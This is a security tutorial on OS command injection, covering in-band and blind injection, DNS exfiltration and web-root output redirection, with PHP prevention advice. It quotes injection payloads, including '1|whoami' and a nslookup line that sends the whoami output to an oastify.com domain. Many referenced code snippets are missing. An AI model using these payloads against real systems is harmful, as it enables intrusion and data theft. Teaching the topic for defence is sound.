OS Command Injection in Depth: A Guide for Developers and Security Professionals
OS command injection is a serious security vulnerability that occurs when an application allows user-supplied input to be passed to the operating system as part of a command. This can enable attackers to execute arbitrary commands on the host system, potentially leading to unauthorized access, data breaches, and system compromise.
In web applications, this vulnerability typically arises when input fields or parameters are not properly sanitized or validated. An attacker can manipulate these inputs to inject malicious commands, which the application then executes with the privileges of the running process. For example, a web form that accepts a username and directly includes it in a shell command without proper sanitization can be exploited to run unintended commands.
Example Scenario:
You have a web application with a search functionality that allows users to search for files by name. The backend script takes the filename as input and uses the find command to search for files.
Here's a snippet of a PHP script that demonstrates this:
An attacker can exploit this vulnerability by manipulating the filename parameter in the URL. For example:
This input will construct the following command:
The cat /etc/passwd command will be executed, displaying the contents of the /etc/passwd file, which may contain sensitive information.
Real World Example:
The application executes a shell command containing user-supplied product and store IDs, and returns the raw output from the command in its response.
After modifying storeId parameter from 1 to 1|whoami we are able to execute the whoami command and get the output.
Prevention:
To prevent such vulnerabilities, you should avoid using functions like shell_exec with unsanitized user input. Instead, use safer methods such as prepared statements or language-specific functions that do not invoke the shell. Here's a more secure version of the PHP script using escapeshellarg to sanitize the input:
Other Useful Commands:
After identifying an OS command injection vulnerability, executing some initial commands to obtain information about the system is useful. Below is a summary of some commands that are useful on Linux and Windows platforms:
Blind OS command injection vulnerabilities
Blind OS command injection is a type of vulnerability where an attacker can execute commands on the server, but the output of the commands is not visible to them. This requires the attacker to use side-channel methods to determine if the injection was successful and to exfiltrate data.
Scenario
Consider a web application with a contact form that sends an email to the site administrator. The form takes a message and the user's email address as input. The backend script constructs a shell command to send the email using the mail command.
Vulnerable Code Example
Here's a PHP script for the contact form:
Since the output of the mail command is not displayed to the attacker, they need to use blind injection techniques. One common method is to use time delays to infer if the command was executed. Here's how an attacker might exploit this:
1. Basic Injection to Test for Vulnerability:
The attacker inputs the following email address:
The constructed command becomes:
If the response is delayed by 10 seconds, the attacker knows that the command injection is possible.
2. Using Injection to Extract Data:
Since output is not visible, the attacker needs a way to exfiltrate data. They could use DNS requests to their own server to retrieve data. For example:
This command causes the server to perform a DNS lookup for the current username, sending the data to attacker.com.
Real World Example:
You can use an injected command that will trigger an out-of-band network interaction with a system that you control, using OAST techniques.
This payload uses the nslookup command to cause a DNS lookup for the specified domain. The attacker can monitor to see if the lookup happens, to confirm if the command was successfully injected.
The out-of-band channel provides an easy way to exfiltrate the output from injected commands:
& nslookup $(whoami).0jkcibw049kwecfa90ovi4pip9v0jp.oastify.com &
This causes a DNS lookup to the attacker's domain containing the result of the whoami command:
peter.0jkcibw049kwecfa90ovi4pip9v0jp.oastify.com
Blind OS command injection with output redirection
The output from the injected command can be redirected into a file within the web root that can then be retrieved using the browser. For example, if the application serves static resources from the filesystem location /var/www/static, then you can submit the following input:
& whoami > /var/www/static/whoami.txt &
The > character sends the output from the whoami command to the specified file. The browser can then be used to fetch https://vulnerable-website.com/whoami.txt to retrieve the file and view the output from the injected command.
Scenario:
This application contains a blind OS command injection vulnerability in the feedback function.
The application executes a shell command containing the user-supplied details. There is a writable folder at:
/var/www/images/
Prevention
To prevent blind OS command injection, avoid incorporating user input into shell commands. Instead, use secure functions or libraries. Here’s a secure version of the contact form script:
Or, even better, use a mail library like PHPMailer to avoid shell execution altogether:
Using a library like PHPMailer eliminates the need to invoke shell commands, thereby mitigating the risk of OS command injection.